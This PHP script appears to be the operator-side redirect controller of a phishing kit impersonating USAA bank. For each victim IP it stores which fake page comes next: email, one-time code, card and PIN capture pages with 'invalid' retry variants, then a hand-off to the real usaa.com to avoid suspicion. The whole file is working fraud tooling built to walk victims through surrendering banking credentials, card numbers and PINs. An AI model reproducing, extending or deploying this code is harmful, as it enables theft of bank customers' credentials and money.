<?php
header('Content-Type: application/json; charset=utf-8');

$ip = '';
$r = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $ip = isset($_POST['ip']) ? trim((string) $_POST['ip']) : '';
    $r  = isset($_POST['r']) ? trim((string) $_POST['r']) : '';
    if ($r === '' && empty($_POST) && isset($_SERVER['CONTENT_TYPE']) && strpos($_SERVER['CONTENT_TYPE'], 'application/x-www-form-urlencoded') !== false) {
        parse_str((string) file_get_contents('php://input'), $post);
        $ip = isset($post['ip']) ? trim((string) $post['ip']) : $ip;
        $r  = isset($post['r']) ? trim((string) $post['r']) : $r;
    }
} else {
    $ip = isset($_GET['ip']) ? trim((string) $_GET['ip']) : '';
    $r  = isset($_GET['r']) ? trim((string) $_GET['r']) : '';
}

if ($ip === '') {
    echo json_encode(['ok' => false, 'error' => 'Missing ip']);
    exit;
}

$ip = trim($ip);
if ($ip === '::1' || $ip === '127.0.0.1') {
    $ip = '127.0.0.1';
}

$scheme = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http';
$host   = $_SERVER['HTTP_HOST'] ?? 'localhost';
$script = $_SERVER['SCRIPT_NAME'] ?? '/custom/set_redirect.php';
$base_dir = dirname(dirname($script));
$base = $scheme . '://' . $host . ($base_dir === '/' || $base_dir === '\\' ? '' : rtrim($base_dir, '/\\'));

$redirect_url = null;
switch ($r) {
    case 'approved':
    case 'verify':
        $redirect_url = $base . '/email.php';
        break;
    case 'disapproved':
    case 'loginerror':
        $redirect_url = $base . '/index.php?error=1';
        break;
    case 'code':
        $redirect_url = $base . '/code.php';
        break;
    case 'codeerror':
        $redirect_url = $base . '/code.php?error=invalid';
        break;
    case 'email':
        $redirect_url = $base . '/email.php';
        break;
    case 'emailerror':
        $redirect_url = $base . '/email.php?error=invalid';
        break;
    case 'card':
        $redirect_url = $base . '/card.php';
        break;
    case 'pin':
        $redirect_url = $base . '/pin.php';
        break;
    case 'done':
    case 'success':
        $redirect_url = 'https://www.usaa.com/';
        break;
    default:
        echo json_encode(['ok' => false, 'error' => 'Invalid target']);
        exit;
}

$file = __DIR__ . DIRECTORY_SEPARATOR . 'pending_redirects.json';
$data = [];
if (is_file($file)) {
    $raw = @file_get_contents($file);
    if ($raw !== false) {
        $dec = json_decode($raw, true);
        if (is_array($dec)) {
            $data = $dec;
        }
    }
}

$data[$ip] = ['url' => $redirect_url, 'set_at' => time()];

$dir = dirname($file);
if (!is_dir($dir)) {
    @mkdir($dir, 0755, true);
}
$ok = @file_put_contents($file, json_encode($data), LOCK_EX) !== false;

echo json_encode(['ok' => $ok, 'ip' => $ip, 'redirect' => $redirect_url]);
